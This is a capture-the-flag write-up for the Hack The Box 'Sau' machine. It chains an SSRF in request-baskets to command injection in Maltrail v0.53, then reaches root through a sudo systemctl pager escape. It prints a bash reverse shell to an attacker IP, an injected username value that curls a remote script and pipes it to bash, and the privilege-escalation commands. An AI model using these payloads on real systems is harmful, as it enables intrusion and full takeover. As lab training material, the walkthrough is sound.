HTB Sau - Writeup

Introduction

This comprehensive write-up details our successful penetration of the HTB Sau machine. Our step-by-step account covers every aspect of our methodology, from reconnaissance to privilege escalation, ultimately leading to root access. By sharing our experience, we aim to contribute valuable insights to the cybersecurity community.

			Name	OS	Difficulty	Points	Release	IP
			Sau	Linux	Easy	20	08 Jul 2023	10.10.11.224

Reconnaissance

Nmap Scan

To kickstart our investigation, we conducted an initial Nmap scan to identify open ports and services on the target machine.

Command & output:

$ sudo nmap -sC -sV --open -oN nscan.txt 10.10.11.224

Nmap scan report for 10.10.11.224
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
55555/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Wed, 16 Aug 2023 07:22:32 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Wed, 16 Aug 2023 07:22:06 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Wed, 16 Aug 2023 07:22:06 GMT
|_    Content-Length: 0

Web Application Discovery

Port 55555 turned out to host a web application, later identified as “request-baskets,” a tool often used for API testing. This discovery marked a significant breakthrough in our investigation. Picture 1: Discovering the request-baskets Web Application

Exploring Request-Baskets

Upon creating a new basket, we noticed two intriguing options at the top-right corner: one for adjusting forward request settings (depicted as a “gear” icon) and another for managing basket response settings (depicted as “arrows” icon). Picture 2: We created a new basket

Uncovering Server-Side Request Forgery (SSRF)

Exploring the “basket response” options, I decided to quickly test whether we could obtain a “Hello” response. Picture 3: Basket response options

After configuring the settings within the “basket response” section, we conducted a test using curl and successfully received the “Hello” response from the server.

Command:

$ curl http://10.10.11.224:55555/firul4e

Picture 4: Basket response

Poking around with the “forward request” configuration settings, I set it to my ip address with the option “proxy response”. Picture 5: Forward request configuration settings

Next, I set up the Netcat listener on port 80. Interestingly, when I directed the request to my IP address, we uncovered a case of Server-Side Request Forgery (SSRF).

Commands:

$ ncat -nvlp 80
$ curl http://10.10.11.224:55555/firul4e

Picture 6: Discover Server-Side Request Forgery (SSRF)

Discovering Malicious Traffic Detection

Now, leveraging the Server-Side Request Forgery (SSRF) vulnerability, we will attempt to access http://127.0.0.1 on the server to check for any running web applications on the localhost. Picture 7: Setting up the forward request configuration settings to localhost

By using a web browser to access our basket address, we successfully identified a web application titled “Maltrail (v0.53)” running on the localhost. This application appears to be a malicious traffic detection system. Picture 8: Malicious Traffic Detection System Web Application Running on Localhost

Getting Shell Access

Exploiting Maltrail v0.53 for RCE

After looking up information on “Maltrail v0.53,” we found out that this specific version can be exploited for Remote Code Execution (RCE). Even though the Python script didn’t work as expected, I decided to tackle the problem manually.

I made a file called “shell.sh” and set up a Python server to host it. Then, I used curl to download the file onto the target server and used a method involving bash to run it there. This clever trick allowed us to gain control over the HTB Sau machine server and perform Remote Code Execution (RCE).

ExploitDB: Link & Content of “shell.sh”:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.33/9001 0>&1

Commands:

$ vi shell.sh
$ python3 -m http.server 80
$ nc -nvlp 9001
$ curl 'http://10.10.11.224:55555/firul4e/'  --data 'username=;`curl 10.10.14.33/shell.sh|bash`'
$ ls
$ whoami && id

Picture 9: Executing Remote Code (RCE) on Target Server

Expanding Control

Upgrading Our Shell

Now that we’re inside the HTB Sau machine and have the “user.txt” flag, we’re going to make our control of the system even better by upgrading our shell.

Upgrading the shell:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
ALT + Z
$ stty raw -echo; fg
$ export TERM=xterm

Picture 10: User flag “user.txt” content

Getting Root

Privilege Escalation via systemctl

Once that’s done, we’ll take a look at the user’s main folder to find any interesting files or things that might help us get more control and higher privileges on the system. Unfortunately, we didn’t come across any interesting files. To explore further, we examined whether the user named Puma could execute certain commands with elevated privileges using Sudo.

Command:

$ sudo -l

Picture 11: User “puma” Granted Passwordless sudo for “/usr/bin/systemctl status trail.service”

When we searched on Google for “Sudo Systemctl Privilege Escalation,” we stumbled upon a helpful guide. According to this guide, while we have the ability to run systemctl status as a root user, we can create a new shell within the pager to gain full root privileges on the system.

Exploit: Link & Commands:

$ sudo /usr/bin/systemctl status trail.service
$ !sh
$ id

Picture 12: Spawning root shell in the pager

At last, we’ve achieved our objective of obtaining complete control over the HTB Sau machine. To demonstrate this success, we will retrieve the contents of the “root.txt” file and information about the user, ID, hostname, and network details of the HTB Sau machine. This serves as tangible evidence of our accomplishment.

Command:

$ cat /root/root.txt && whoami && id && hostname && ip addr

Picture 13: Proof of Concept

Summary

We initiated our investigation of HTB Sau machine with an Nmap scan, identifying open ports 22 and 55555.

• Port 55555 hosted a web application called “request-baskets.”
• Exploration of the application’s settings unveiled an SSRF vulnerability.
• Leveraging SSRF, we discovered a malicious traffic detection system (“Maltrail v0.53”) running on the localhost.
• Exploiting the RCE vulnerability in “Maltrail,” we gained initial shell access.
• Upgrading our shell and escalating privileges using sudo led to full root control.

This successful penetration test serves as a reminder of the critical need for comprehensive security measures to defend against such exploits.

Conclusion

In this journey of HTB Sau machine, we exploit the Server-Side Request Forgery (SSRF) vulnerability in a web application running on the target server. Through meticulous reconnaissance, we discovered the SSRF flaw that led us to a malicious traffic detection system.

Our persistence and manual exploitation techniques enabled us to achieve Remote Code Execution (RCE) and ultimately gain root access to the HTB Sau system. This successful compromise demonstrated the critical importance of thorough testing and the potential consequences of unchecked vulnerabilities.